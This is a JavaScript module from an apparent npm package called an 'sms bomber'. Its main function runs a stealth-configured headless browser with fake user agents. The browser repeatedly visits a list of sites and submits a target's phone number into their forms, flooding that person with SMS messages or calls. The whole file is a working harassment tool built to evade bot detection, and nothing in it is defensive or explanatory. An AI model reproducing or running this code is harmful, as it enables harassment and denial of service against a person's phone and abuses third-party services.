penaplast3104-sms-bomber
Version:
Simple sms bomber
108 lines (88 loc) • 3.19 kB
JavaScript
const puppeteer = require('puppeteer-extra');
const fakeUserAgent = require('fake-useragent');
const StealthPlugin = require('puppeteer-extra-plugin-stealth')
const { defaultSites } = require('./constants/sites');
const { removeFirstCharacter } = require('./helpers/removeFirstCharacter');
const { getWithoutDefaultSites, getIsDebugMode } = require('./helpers/flags');
puppeteer.use(StealthPlugin())
/**
* Start function
* @param {string} phoneNumber - Target phone number.
* @param {string} times - Number of calls.
* @param {Array} options - Options flags.
* @param {Array} sites - Custom sites config.
* @param {Function} onBombingStart - Callback on start.
* @param {Function} onBombingFinish - Callback on finish.
*/
async function startBombing(args){
const {
phoneNumber,
times,
options = [],
sites = [],
onBombingStart,
onBombingFinish,
} = args
const isDebug = getIsDebugMode(options)
const withoutDefaultSites = getWithoutDefaultSites(options)
const resultSites = withoutDefaultSites ? sites : [...defaultSites, ...sites]
isDebug && console.info('DEVLOG: Starting...')
const browser = await puppeteer.launch({
args: ['--no-sandbox'], headless: isDebug ? false : 'new'
});
isDebug && console.info('DEVLOG: Browser has been started')
const page = await browser.newPage();
isDebug && console.info('DEVLOG: Page has been created');
await page.setViewport({
width: 1220,
height: 720,
});
await page.setUserAgent(fakeUserAgent());
isDebug && console.info('DEVLOG: Set fake user-agent');
onBombingStart?.({
phoneNumber,
times
})
for (let loop = 0; loop < times; loop++){
for (const site of resultSites) {
try {
const {url, options = {}} = site
isDebug && console.info(`DEVLOG: Going to ${url}`)
await page.goto(url, {waitUntil: 'networkidle2'});
isDebug && console.info(`DEVLOG: On ${url}`)
const {withoutFirstNumber} = options
const transformedPhoneNumber = withoutFirstNumber ? removeFirstCharacter(phoneNumber) : phoneNumber
await iterateQueue(site, page, transformedPhoneNumber)
} catch (error){
isDebug && console.info(`Error: ${error}`)
}
}
}
onBombingFinish?.({
phoneNumber,
times
})
isDebug && console.info('DEVLOG: Finish');
await browser.close();
};
async function iterateQueue(site, page, number) {
const { queue } = site
for (let item of queue) {
try {
await page.waitForSelector(item.selector, { timeout: 15000 })
const typeValue = item.isNumber ? number : item.value
if(item.delay){
await new Promise((resolve)=> setTimeout(resolve, item.delay))
}
await page[item.action](item.selector, typeValue)
} catch (e) {
if(item.isOptional){
continue
}
return Promise.reject()
}
}
}
module.exports = {
startBombing
}